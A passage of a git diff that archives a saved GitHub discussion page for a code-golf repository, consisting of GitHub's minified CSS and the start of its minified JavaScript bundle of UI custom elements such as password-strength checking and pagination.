.recovery-code-save-button{width:115px;margin-right:16px;text-align:center}.recovery-codes-warning{margin:0 -16px}.recovery-codes-warning .recovery-codes-warning-octicon{height:40px;margin-right:16px}.two-factor-steps{padding:16px 16px 0;margin:32px 0;border:1px solid var(--color-border-default);border-radius:6px}.setup-wrapper{width:750px;padding-top:32px;margin:0 auto}.setup-wrapper::before{display:table;content:""}.setup-wrapper::after{display:table;clear:both;content:""}.setup-header{padding-bottom:16px;margin:0 auto 32px;overflow:hidden;text-align:left;border-bottom:1px solid var(--color-border-default)}.setup-header h1{margin-top:0;margin-bottom:0;font-size:48px;font-weight:400;line-height:1.1;letter-spacing:-1px}.setup-header h1 .octicon{color:var(--color-fg-muted)}.setup-header .lead{margin-top:2px;margin-bottom:0;font-size:20px}.setup-header .lead a{color:var(--color-fg-muted)}.setup-header .lead a:hover{color:var(--color-accent-fg);text-decoration:none}.setup-org{padding-bottom:0;border-bottom:0}.setup-main{float:left;width:450px}.setup-secondary{float:right;width:250px}.setup-secondary .info{padding-top:0;padding-bottom:0;margin-top:-8px;font-size:12px;line-height:18px;color:var(--color-fg-muted);text-align:center}.setup-info-module{margin-bottom:32px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,.075)}.setup-info-module h2{padding:16px;margin-bottom:16px;overflow:hidden;font-size:16px;border-bottom:1px solid var(--color-border-default)}.setup-info-module h2 .price{float:right;font-weight:600;color:var(--color-fg-muted)}.setup-info-module h3{padding:0 16px;margin:0 0 -8px;font-size:14px}.setup-info-module p{padding:0 16px;margin:16px 0}.features-list{padding:0 16px 16px;margin:0;font-size:14px;list-style:none}.features-list li{margin-top:8px}.features-list li:first-child{margin-top:0}.features-list .list-divider{margin:16px -16px;border-top:1px solid var(--color-border-muted)}.features-list .octicon-check{margin-right:4px;color:var(--color-success-fg)}.features-list .octicon-question{font-size:12px;color:var(--color-fg-muted)}.features-list .tooltipped::after{width:250px;white-space:normal}.setup-form-container .setup-form-title{font-size:16px}.setup-form-container .secure{float:right;margin-top:2px;font-size:12px;color:var(--color-success-fg);text-transform:uppercase}.setup-form-container hr{margin-top:24px;margin-bottom:24px}.setup-form-container .form-actions{padding-top:0;padding-bottom:0;text-align:left}.team-member-container{margin-bottom:16px}.team-member-container .team-member-username{line-height:1.2}.setup-form{padding-bottom:16px}.setup-form .form-group.successed .error{display:none}.setup-form .form-group dd .form-control{width:100%}.setup-form .form-group dd .form-control.short{width:250px}.setup-form dd{position:relative}.setup-form dd .octicon{position:absolute;top:8px;right:25px}.setup-form .octicon-alert{color:var(--color-danger-fg)}.setup-form .octicon-check{color:var(--color-success-fg)}.setup-form .tos-info,.setup-form .setup-organization-next{margin:16px 0;border-top:1px solid var(--color-border-muted);border-bottom:1px solid var(--color-border-muted)}.setup-form .tos-info{padding:16px 0}.setup-form .setup-organization-next{padding-top:16px;padding-bottom:16px}.setup-form .setup-plans{border-collapse:separate;border:1px solid var(--color-border-default)}.setup-form .setup-plans tr.selected{background-color:var(--color-accent-subtle)}.setup-form .setup-plans .name{font-weight:600}.setup-form .setup-plans .choose-plan input[type=radio]{display:none}.setup-creditcard-form .country-form,.setup-creditcard-form .state-form{float:left;margin:0;word-wrap:normal}.setup-creditcard-form .country-form,.setup-creditcard-form .postal-code-form{margin-top:0;margin-bottom:16px}.setup-creditcard-form .form-group select.select-country{width:182px;margin-right:4px}.setup-creditcard-form .form-group select:invalid{color:var(--color-fg-muted)}.setup-creditcard-form .form-group select.select-state{width:113px}.setup-creditcard-form .form-group .input-vat{width:288px}.setup-creditcard-form .form-group input.input-postal-code{width:180px}.setup-creditcard-form.is-vat-country .vat-field{display:block}.setup-creditcard-form.is-international .form-group select.select-country{width:300px}.setup-creditcard-form.is-international .state-form{display:none}.setup-creditcard-form.no-postcodes .postal-code-form{display:none}.setup-creditcard-form dd .octicon-credit-card{position:inherit}.setup-creditcard-form .vat-field{display:none}.setup-creditcard-form .vat-field.prefilled{display:block}.setup-creditcard-form .help-text{font-size:80%;font-weight:400;color:var(--color-fg-muted)}.user-identification-questions{float:none;width:auto;margin-top:40px}.user-identification-questions .question{margin-bottom:32px}.user-identification-questions .response-group label{font-weight:400}.user-identification-questions .form-checkbox{margin:8px 0}.user-identification-questions .disclaimer{margin:40px 0 0;text-align:center}.user-identification-questions.redesign .question{margin-bottom:96px}.user-identification-questions.redesign .topic-input-container .tag-input{width:100%;border:0;border-bottom:6px solid #000;box-shadow:0 0 0}.signup-plan-summary-subhead{border-bottom:6px solid}.signup-btn:disabled{opacity:.5 !important}.collection-search-results em{padding:.1em;background-color:#faffa6}.draft-tag{padding:4px 8px;font-weight:600;color:#eee;background-color:#404040}.showcase-page-pattern{position:relative;z-index:-1;height:100px;margin-top:-24px;margin-bottom:-70px}.showcase-page-pattern::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;content:"";background-image:linear-gradient(180deg, rgba(255, 255, 255, 0.85), white)}.showcase-page-repo-list{border-top:1px solid var(--color-border-muted)}.slash-command-menu-item .command-description{color:var(--color-fg-muted)}.slash-command-menu-item[aria-selected=true]{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.slash-command-menu-item[aria-selected=true] .command-description{color:var(--color-fg-on-emphasis)}.modal-anchor::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:block;cursor:default;content:" ";background:var(--color-primer-canvas-backdrop)}.sortable-button-item:first-of-type .sortable-button[data-direction=up],.sortable-button-item:last-of-type .sortable-button[data-direction=down]{display:none}@keyframes sponsors-progress-animation{0%{background-position:100%}100%{background-position:0%}}@keyframes circle-progress{0%{stroke-dasharray:0 100}}.sponsors-funded-dependencies-percent-circle-bg,.sponsors-funded-dependencies-percent-circle{fill:none;stroke-width:3;stroke-linecap:round}.sponsors-funded-dependencies-percent-circle-bg{stroke:var(--color-done-subtle)}.sponsors-funded-dependencies-percent-circle{animation:circle-progress 1s ease-out forwards}.sponsors-goal-progress-bar{background:#ec6cb9;transition:width .5s ease-in}@media(prefers-reduced-motion: no-preference){.sponsors-goal-progress-bar:hover{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goal-completed-bar{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%}@media(prefers-reduced-motion: no-preference){.sponsors-goal-completed-bar{transition:width .5s ease-in;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goals-avatar-border{background-color:var(--color-canvas-default);border:1px solid var(--color-fg-on-emphasis)}.sponsors-goals-heart-anim{width:100px;height:100px;cursor:pointer;background:url("/images/modules/site/sponsors/heart-explosion.png") no-repeat;background-position:0 0;background-size:600px 100px;transition:background-position .3s steps(5);transition-duration:0s}.sponsors-goals-heart-anim.is-active{background-position:-500px 0;transition-duration:.3s}.open>.sponsors-foldable{max-height:700px}.open .sponsors-foldable-opened{display:block}.open .sponsors-foldable-closed{display:none}.sponsors-foldable{max-height:0;box-sizing:border-box;overflow-y:auto;transition:max-height .25s ease-in-out}.sponsors-foldable-opened{display:none}.sponsors-foldable-closed{display:block}.sponsor-card{width:100%;height:450px;border:0}@media(min-width: 544px){.sponsor-card{height:260px}}.sponsor-cell{padding:8px;vertical-align:middle;border-right:1px solid var(--color-neutral-muted);border-bottom:1px solid var(--color-neutral-muted)}.sponsor-cell:first-child{width:45px;padding-left:32px;border-right-width:0}.sponsor-cell:last-child{padding-left:8px;border-right-width:0}.sponsor-header-cell{padding-right:16px;font-weight:600;text-align:left;border-top:1px solid var(--color-neutral-muted)}.sponsor-row-number{color:var(--color-fg-subtle)}@media(prefers-reduced-motion: no-preference){.tier-category:hover .tier-emoji{animation:wiggle .1s alternate;animation-timing-function:ease;animation-delay:.1s;animation-iteration-count:4}}@keyframes wiggle{0%{transform:rotate(-25deg)}100%{transform:rotate(15deg) scale(1.2)}}.sponsors-featured-item{width:100%}@media(min-width: 768px){.sponsors-featured-item{width:calc(50% - 8px)}}.tab-size[data-tab-size="1"]{-moz-tab-size:1;tab-size:1}.tab-size[data-tab-size="2"]{-moz-tab-size:2;tab-size:2}.tab-size[data-tab-size="3"]{-moz-tab-size:3;tab-size:3}.tab-size[data-tab-size="4"]{-moz-tab-size:4;tab-size:4}.tab-size[data-tab-size="5"]{-moz-tab-size:5;tab-size:5}.tab-size[data-tab-size="6"]{-moz-tab-size:6;tab-size:6}.tab-size[data-tab-size="7"]{-moz-tab-size:7;tab-size:7}.tab-size[data-tab-size="8"]{-moz-tab-size:8;tab-size:8}.tab-size[data-tab-size="9"]{-moz-tab-size:9;tab-size:9}.tab-size[data-tab-size="10"]{-moz-tab-size:10;tab-size:10}.tab-size[data-tab-size="11"]{-moz-tab-size:11;tab-size:11}.tab-size[data-tab-size="12"]{-moz-tab-size:12;tab-size:12}.team-label-ldap{display:inline-block;padding:0 8px;line-height:25px;color:var(--color-fg-muted);text-transform:uppercase;cursor:default;border:1px solid var(--color-border-muted);border-radius:6px;box-shadow:none}.team-label-ldap.header-label-ldap{padding:4px 4px}.team-member-ellipsis{width:25px;height:25px;line-height:24px}.team-member-ellipsis:hover{color:var(--color-accent-fg);background:var(--color-canvas-subtle)}.team-listing .nested-teams-checkbox{padding-left:4px}.team-listing .nested-teams-checkbox.show{padding-right:12px}.team-listing .nested-teams-checkbox.indent-1{padding-left:30px}.team-listing .nested-teams-checkbox.indent-2{padding-left:54px}.team-listing .nested-teams-checkbox.indent-3{padding-left:78px}.team-listing .nested-teams-checkbox.indent-4{padding-left:102px}.team-listing .nested-teams-checkbox.indent-5{padding-left:126px}.team-listing .nested-teams-checkbox.indent-6{padding-left:150px}.team-listing .nested-teams-checkbox.indent-7{padding-left:174px}.team-listing .nested-teams-checkbox.indent-8{padding-left:198px}.team-listing .nested-teams-checkbox.indent-9{padding-left:222px}.team-listing .nested-teams-checkbox.indent-10{padding-left:246px}.team-listing .nested-teams-checkbox.indent-11{padding-left:270px}.team-listing .nested-teams-checkbox.indent-12{padding-left:294px}.team-listing .nested-teams-checkbox.indent-13{padding-left:318px}.team-listing .nested-teams-checkbox.indent-14{padding-left:342px}.team-listing .nested-teams-checkbox.indent-15{padding-left:366px}.team-listing .team-info{width:280px}.team-listing .team-short-info{width:170px}.team-listing .nested-team-info{width:650px}.team-listing .nested-team-name{max-width:268px}.team-listing .shortened-teams-avatars{margin-left:auto}.team-listing .shortened-teams-avatars.width-0{width:300px}.team-listing .shortened-teams-avatars.width-1{width:233px}.team-listing .shortened-teams-avatars.width-2{width:167px}.team-listing .shortened-teams-avatars.width-3{width:99px}.team-listing .team-members-count{width:124px}.team-listing .team-show-more-cell{width:980px}.team-listing .team-buttons{width:150px}.team-listing .octicon-wrapper{width:16px}.team-listing .is-open.root-team{background-color:var(--color-canvas-subtle)}.team-listing .is-open .expand-nested-team{font-weight:600}.team-listing .is-open .octicon-chevron-down{transform:rotate(180deg)}.traffic-graph{min-height:150px}.traffic-graph .activity{margin-top:0}.traffic-graph .activity .dots{margin-top:40px}.traffic-graph .path{fill:none;stroke-width:2}.traffic-graph path.total{stroke:var(--color-success-emphasis)}.traffic-graph path.unique{stroke:var(--color-accent-emphasis)}.traffic-graph .axis.x .tick:first-of-type line{stroke:var(--color-success-emphasis);stroke-width:2px}.traffic-graph .y line{stroke:var(--color-success-emphasis)}.traffic-graph .y.unique line{stroke:var(--color-accent-emphasis)}.traffic-graph .overlay{fill-opacity:0}.uniques-graph .axis.x .tick:last-child line{stroke:var(--color-accent-emphasis);stroke-width:2px}.svg-tip .date{color:var(--color-fg-on-emphasis)}.top-domains .dots{display:block;margin:167px auto 0}table.capped-list{width:100%;line-height:100%}table.capped-list th{padding:8px;text-align:left;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}table.capped-list td{padding:8px;font-size:12px;vertical-align:middle;border-bottom:1px solid var(--color-border-muted)}table.capped-list th.middle,table.capped-list td.middle{text-align:center}table.capped-list .favicon{width:16px;height:16px;margin:0 4px;vertical-align:middle}table.capped-list .octicon{margin-right:8px;color:var(--color-fg-muted);vertical-align:-3px}table.capped-list tr:nth-child(even){background-color:var(--color-canvas-subtle)}.capped-list-label{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.traffic-graph-stats .summary-stats{width:100%}.traffic-graph-stats .summary-stats::before{display:table;content:""}.traffic-graph-stats .summary-stats::after{display:table;clear:both;content:""}.traffic-graph-stats .summary-stats li{display:block;float:left;width:50%}.totals circle{fill:var(--color-success-emphasis);stroke:var(--color-canvas-default);stroke-width:2}.uniques circle{fill:var(--color-accent-emphasis);stroke:var(--color-canvas-default);stroke-width:2}ul.web-views li{width:140px}ul.clones li{width:170px}.TrackingBlock .TrackingBlock-list{padding-left:0}.TrackingBlock-item:hover{background-color:var(--color-canvas-inset)}.TrackingBlock-omnibar{display:flex;align-items:stretch;width:100%;border-radius:6px}.TrackingBlock-omnibar:hover .TrackingBlock-omnibar-inputElement{background:var(--color-action-list-item-default-hover-bg);outline:1px solid var(--color-border-default)}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement{background:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 0 0 6px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputButton{display:inline-block}.TrackingBlock [data-disabled] .TrackingBlock-omnibar{background-color:var(--color-canvas-subtle)}.TrackingBlock [data-disabled] .TrackingBlock-omnibar:hover{outline:none !important}.TrackingBlock-omnibar-inputWrapper{position:relative;flex:1}.TrackingBlock-omnibar-inputWrapper .octicon{position:absolute;margin:8px;color:var(--color-fg-muted);pointer-events:none}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement{display:inline-block;width:100%;height:32px;background:transparent;border-color:transparent;border-style:solid;border-width:1px;border-radius:6px;padding-block:4px;padding-inline-start:32px;padding-inline-end:8px}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement:focus{background:var(--color-canvas-default);border-color:var(--color-accent-fg);border-radius:6px 0 0 6px}.TrackingBlock-omnibar .TrackingBlock-omnibar-inputButton{display:none;border-radius:0 6px 6px 0}.tracking-block-item-dropdown{top:4px;right:4px;padding:0 4px;margin-right:8px}.tracking-block-item-dropdown .dropdown-menu::before,.tracking-block-item-dropdown .dropdown-menu::after{display:none}.TrackingBlock-item:hover .dropdown-details-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.TrackingBlock-item:hover .dropdown-details-button svg{overflow:visible}.typeahead-result{position:relative;display:block;min-width:100%;padding:8px;margin-top:0;color:var(--color-fg-default);cursor:pointer}.typeahead-result::before{display:table;content:""}.typeahead-result::after{display:table;clear:both;content:""}.typeahead-result:first-child{border-top:0}.typeahead-result:focus,.typeahead-result:hover,.typeahead-result[aria-selected=true],.typeahead-result.navigation-focus{text-decoration:none}.typeahead-result[aria-selected=true],.typeahead-result:hover,.typeahead-result.navigation-focus{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.typeahead-result[aria-selected=true] .octicon-plus,.typeahead-result:hover .octicon-plus,.typeahead-result.navigation-focus .octicon-plus{color:var(--color-fg-on-emphasis)}.typeahead-result.disabled{pointer-events:none;opacity:.5}.member-suggestion{padding-left:44px}.member-suggestion .avatar{float:left;margin-right:8px;margin-left:-32px}.member-suggestion .member-suggestion-info{width:90%;margin-top:2px;margin-bottom:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.member-suggestion .member-name{font-size:12px;color:var(--color-fg-muted)}.member-suggestion .member-email{margin-top:0;margin-bottom:0}.member-suggestion .octicon-plus,.member-suggestion .octicon-check{position:absolute;top:50%;right:15px;margin-top:-8px;color:var(--color-fg-muted)}.member-suggestion .already-member-note,.member-suggestion .non-member-note,.member-suggestion .non-member-action{margin-top:0;margin-bottom:0;color:var(--color-fg-muted)}.member-suggestion .non-member-action{display:none}.member-suggestion[aria-selected=true] .member-name,.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion[aria-selected=true] .already-member-note,.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion[aria-selected=true] .member-email,.member-suggestion:hover .member-name,.member-suggestion:hover .non-member-note,.member-suggestion:hover .already-member-note,.member-suggestion:hover .non-member-action,.member-suggestion:hover .member-email,.member-suggestion.navigation-focus .member-name,.member-suggestion.navigation-focus .non-member-note,.member-suggestion.navigation-focus .already-member-note,.member-suggestion.navigation-focus .non-member-action,.member-suggestion.navigation-focus .member-email{color:var(--color-fg-on-emphasis)}.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion:hover .non-member-note,.member-suggestion.navigation-focus .non-member-note{display:none}.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion:hover .non-member-action,.member-suggestion.navigation-focus .non-member-action{display:block}.member-suggestion[aria-selected=true] .octicon,.member-suggestion:hover .octicon,.member-suggestion.navigation-focus .octicon{color:var(--color-fg-on-emphasis)}.member-suggestion.not-a-member .member-info,.member-suggestion.disabled .member-info{margin-top:-2px}.non-member-result{padding-left:32px}.email-suggestion{padding-left:32px}.email-suggestion .octicon-mail{margin-left:-16px;color:var(--color-fg-muted)}.email-suggestion .member-suggestion-info{margin-top:1px}.repo-access-add-team .team-name{font-size:14px}.repo-access-add-team .team-description{display:block}.repo-access-add-team .team-size,.repo-access-add-team .team-description{font-size:12px;color:var(--color-fg-muted)}.repo-access-add-team[aria-selected=true] .team-size,.repo-access-add-team[aria-selected=true] .team-description,.repo-access-add-team.navigation-focus .team-size,.repo-access-add-team.navigation-focus .team-description{color:var(--color-fg-on-emphasis)}#user-content-toc{overflow:visible}#user-content-toc tr{border-top:0}#user-content-toc td{padding:0 16px;background-color:var(--color-canvas-subtle);border:0;border-radius:6px}#user-content-toc ul{padding-left:0;font-weight:600;list-style:none}#user-content-toc ul li{padding-left:.2em}#user-content-toc ul ul{font-weight:400}#user-content-toc ul ul li::before{float:left;margin-top:-0.2em;margin-right:.2em;font-size:1.2em;line-height:1;color:var(--color-fg-muted);content:"⌞"}#user-content-toc ul ul ul{padding-left:.9em}#user-content-toctitle h2{margin-top:1em;margin-bottom:.5em;font-size:1.25em;border-bottom:0}.user-list-info{min-height:48px;padding:0;font-size:16px;font-weight:400;line-height:20px}.WorkflowJob-deployment-progress .Progress{background:none}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-complete{background-color:var(--color-workflow-card-progress-complete-bg) !important}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-incomplete{background-color:var(--color-workflow-card-progress-incomplete-bg) !important}.WorkflowJob{padding:12px;transition:opacity ease-out .12s}.WorkflowJob-title{height:20px;line-height:20px}.WorkflowJob-title::after{position:absolute;top:0;right:0;bottom:0;left:0;content:""}.MatrixComponent-pending{padding:12px;transition:opacity ease-out .12s}.MatrixComponent-collapse--title{line-height:20px}.actions-workflow-table.sticky th{position:sticky;top:0;z-index:1;background-color:var(--color-primer-canvas-sticky)}.actions-workflow-table th{height:auto;line-height:44px;text-align:left}.actions-workflow-table td{height:64px;padding-top:12px;padding-bottom:12px;line-height:20px}.actions-workflow-table td.compact{height:48px}.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:16px}@media(min-width: 768px){.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:20px}}.actions-workflow-table th:last-child,.actions-workflow-table td:last-child{padding-right:20px}@media(max-width: 768px){.actions-fullwidth-module{position:relative;margin-right:-16px !important;margin-left:-16px !important;border-right:0 !important;border-left:0 !important}.actions-fullwidth-module.actions-fullwidth-module{border-radius:0 !important}.actions-fullwidth-module::after{position:absolute;right:0;bottom:-17px;left:0;z-index:0;height:16px;content:"";background-color:var(--color-canvas-subtle)}}.annotation--contracted div:first-child{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.annotation--expanded div:first-child{word-break:break-word;white-space:pre-wrap}.enterprise-settings .field-with-errors{min-width:0;padding:0} + +/*# sourceMappingURL=github-e2412376f390.css.map*/ \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js new file mode 100644 index 0000000..9257d62 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var se=Object.defineProperty;var a=(B,P)=>se(B,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["github-elements"],{47486:(B,P,m)=>{var b=m(71544),L=m(38257),y=m(14840),p=m(57260),E=m(13002),I=m(73921),D=m(27034),_=m(51941),d=m(88309),o=m(40987),h=m(57852),f=m(88823);window.IncludeFragmentElement.prototype.fetch=s=>(s.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(s));var c=m(99254),l=m(90420),w=Object.defineProperty,C=Object.getOwnPropertyDescriptor,A=a((s,t,e,n)=>{for(var i=n>1?void 0:n?C(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&w(t,e,i),i},"__decorateClass");let W=a(class extends HTMLElement{updateURL(s){const t=s.currentTarget,e=t.getAttribute("data-url")||"";if(this.helpField.value=e,t.matches(".js-git-protocol-clone-url"))for(const n of this.helpTexts)n.textContent=e;for(const n of this.cloneURLButtons)n.classList.remove("selected");t.classList.add("selected")}},"GitCloneHelpElement");A([l.fA],W.prototype,"helpField",2),A([l.GO],W.prototype,"helpTexts",2),A([l.GO],W.prototype,"cloneURLButtons",2),W=A([l.Ih],W);var q=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"__accessCheck"),z=a((s,t,e)=>(q(s,t,"read from private field"),e?e.call(s):t.get(s)),"__privateGet"),U=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"__privateAdd"),k=a((s,t,e,n)=>(q(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"__privateSet"),M,S,H,G;function dt(s,t){const e=[];let n=0;for(let i=0;ithis.handleEvent()))}handleEvent(){z(this,G)&&cancelAnimationFrame(z(this,G)),k(this,G,requestAnimationFrame(()=>this.mark()))}disconnectedCallback(){var t;(t=this.ownerInput)==null||t.removeEventListener("input",this),z(this,H).disconnect()}mark(){const t=this.textContent||"",e=this.query;if(t===z(this,M)&&e===z(this,S))return;k(this,M,t),k(this,S,e),z(this,H).disconnect();let n=0;const i=document.createDocumentFragment();for(const r of(this.positions||dt)(e,t)){if(Number(r)!==r||rt.length)continue;t.slice(n,r)!==""&&i.appendChild(document.createTextNode(t.slice(n,r))),n=r+1;const g=document.createElement("mark");g.textContent=t[r],i.appendChild(g)}i.appendChild(document.createTextNode(t.slice(n))),this.replaceChildren(i),z(this,H).observe(this,{attributes:!0,childList:!0,subtree:!0})}}a(Y,"MarkedTextElement"),M=new WeakMap,S=new WeakMap,H=new WeakMap,G=new WeakMap,Y.observedAttributes=["query","data-owner-input"];const j=null;window.customElements.get("marked-text")||(window.MarkedTextElement=Y,window.customElements.define("marked-text",Y));var tt=m(52641);class N extends HTMLElement{connectedCallback(){this.addEventListener("input",bt)}disconnectedCallback(){this.removeEventListener("input",bt)}}a(N,"PasswordStrengthElement"),window.customElements.get("password-strength")||(window.PasswordStrengthElement=N,window.customElements.define("password-strength",N));function bt(s){const t=s.currentTarget;if(!(t instanceof N))return;const e=s.target;if(!(e instanceof HTMLInputElement))return;const n=e.form;if(!(n instanceof HTMLFormElement))return;const i=ht(e.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(i.valid){e.setCustomValidity("");const r=t.querySelector("dl.form-group");r&&(r.classList.remove("errored"),r.classList.add("successed"))}else e.setCustomValidity(t.getAttribute("invalid-message")||"Invalid");Nt(t,i),(0,tt.G)(n)}a(bt,"onInput");function ht(s,t){const e={valid:!1,hasMinimumCharacterCount:s.length>=t.minimumCharacterCount,hasMinimumPassphraseLength:t.passphraseLength!==0&&s.length>=t.passphraseLength,hasLowerCase:/[a-z]/.test(s),hasNumber:/\d/.test(s)};return e.valid=e.hasMinimumPassphraseLength||e.hasMinimumCharacterCount&&e.hasLowerCase&&e.hasNumber,e}a(ht,"validatePassword");function Nt(s,t){var e,n;const i=s.querySelector("[data-more-than-n-chars]"),r=s.querySelector("[data-min-chars]"),u=s.querySelector("[data-number-requirement]"),g=s.querySelector("[data-letter-requirement]"),T=((e=s.getAttribute("error-class"))==null?void 0:e.split(" ").filter(O=>O.length>0))||[],x=((n=s.getAttribute("pass-class"))==null?void 0:n.split(" ").filter(O=>O.length>0))||[];for(const O of[i,r,u,g])O==null||O.classList.remove(...T,...x);if(t.hasMinimumPassphraseLength&&i)i.classList.add(...x);else if(t.valid)r.classList.add(...x),u.classList.add(...x),g.classList.add(...x);else{const O=t.hasMinimumCharacterCount?x:T,J=t.hasNumber?x:T,It=t.hasLowerCase?x:T;i==null||i.classList.add(...T),r.classList.add(...O),u.classList.add(...J),g.classList.add(...It)}}a(Nt,"highlightPasswordStrengthExplainer");var ie=m(37211);class xt extends D.Z{async fetch(t,e=1e3){const n=await super.fetch(t);return n.status===202?(await new Promise(i=>setTimeout(i,e)),this.fetch(t,e*1.5)):n}}a(xt,"PollIncludeFragmentElement"),window.customElements.get("poll-include-fragment")||(window.PollIncludeFragmentElement=xt,window.customElements.define("poll-include-fragment",xt));var Ft=m(75329);class Lt extends Ft.nJ{connectedCallback(){mt.push(this),yt||(St(),yt=window.setInterval(St,1e3))}disconnectedCallback(){const t=mt.indexOf(this);t!==-1&&mt.splice(t,1),mt.length||(window.clearInterval(yt),yt=void 0)}getFormattedDate(){const t=this.date;if(!t)return;const e=new Date().getTime()-t.getTime(),n=Math.floor(e/1e3),i=Math.floor(n/60),r=Math.floor(i/60),u=Math.floor(r/24),g=n-i*60,T=i-r*60,x=r-u*24;return i<1?this.applyPrecision([`${n}s`]):r<1?this.applyPrecision([`${i}m`,`${g}s`]):u<1?this.applyPrecision([`${r}h`,`${T}m`,`${g}s`]):this.applyPrecision([`${u}d`,`${x}h`,`${T}m`,`${g}s`])}applyPrecision(t){const e=Number(this.getAttribute("data-precision")||t.length);return t.slice(0,e).join(" ")}}a(Lt,"PreciseTimeAgoElement");const mt=[];let yt;function St(){for(const s of mt)s.textContent=s.getFormattedDate()||""}a(St,"updateNowElements"),window.customElements.get("precise-time-ago")||(window.PreciseTimeAgoElement=Lt,window.customElements.define("precise-time-ago",Lt));var Rt=m(12981),Vt=m(56238),zt=Object.defineProperty,qt=Object.getOwnPropertyDescriptor,ft=a((s,t,e,n)=>{for(var i=n>1?void 0:n?qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&zt(t,e,i),i},"remote_pagination_element_decorateClass");let rt=a(class extends HTMLElement{constructor(){super(...arguments);this.loaderWasFocused=!1}connectedCallback(){this.setPaginationUrl(this.list)}get hasNextPage(){return!this.form.hidden}loadNextPage(){!this.hasNextPage||(0,Vt.Bt)(this.form)}get disabled(){return this.submitButton.hasAttribute("aria-disabled")}set disabled(s){s?this.submitButton.setAttribute("aria-disabled","true"):this.submitButton.removeAttribute("aria-disabled"),this.submitButton.classList.toggle("disabled",s)}loadstart(s){s.target.addEventListener("focus",()=>{this.loaderWasFocused=!0},{once:!0}),s.target.addEventListener("include-fragment-replaced",()=>{var t;this.setPaginationUrl(this.list),this.loaderWasFocused&&((t=this.focusMarkers.pop())==null||t.focus()),this.loaderWasFocused=!1},{once:!0})}async submit(s){var t;if(s.preventDefault(),this.disabled)return;this.disabled=!0;let e;try{const i=await fetch(this.form.action);if(!i.ok)return;e=await i.text()}catch{return}const n=(0,Rt.r)(document,e);this.setPaginationUrl(n),this.list.append(n),(t=this.focusMarkers.pop())==null||t.focus(),this.disabled=!1,this.dispatchEvent(new CustomEvent("remote-pagination-load"))}setPaginationUrl(s){const t=s.querySelector("[data-pagination-src]");if(!t)return;const e=t.getAttribute("data-pagination-src");e?(this.form.action=e,this.form.hidden=!1):this.form.hidden=!0}},"RemotePaginationElement");ft([l.fA],rt.prototype,"form",2),ft([l.fA],rt.prototype,"list",2),ft([l.GO],rt.prototype,"focusMarkers",2),ft([l.fA],rt.prototype,"submitButton",2),rt=ft([l.Ih],rt);var kt=m(10160);const jt=/\s|\(|\[/;function $t(s,t,e){const n=s.lastIndexOf(t,e-1);if(n===-1||s.lastIndexOf(" ",e-1)>n)return;const r=s[n-1];return r&&!jt.test(r)?void 0:{word:s.substring(n+t.length,e),position:n+t.length,beginningOfLine:Ut(r)}}a($t,"keyword");const Ut=a(s=>s===void 0||/\n/.test(s),"isBeginningOfLine"),Gt=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],Ht=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],Ot=new WeakMap;function Kt(s,t){const e=s.nodeName.toLowerCase();if(e!=="textarea"&&e!=="input")throw new Error("expected textField to a textarea or input");let 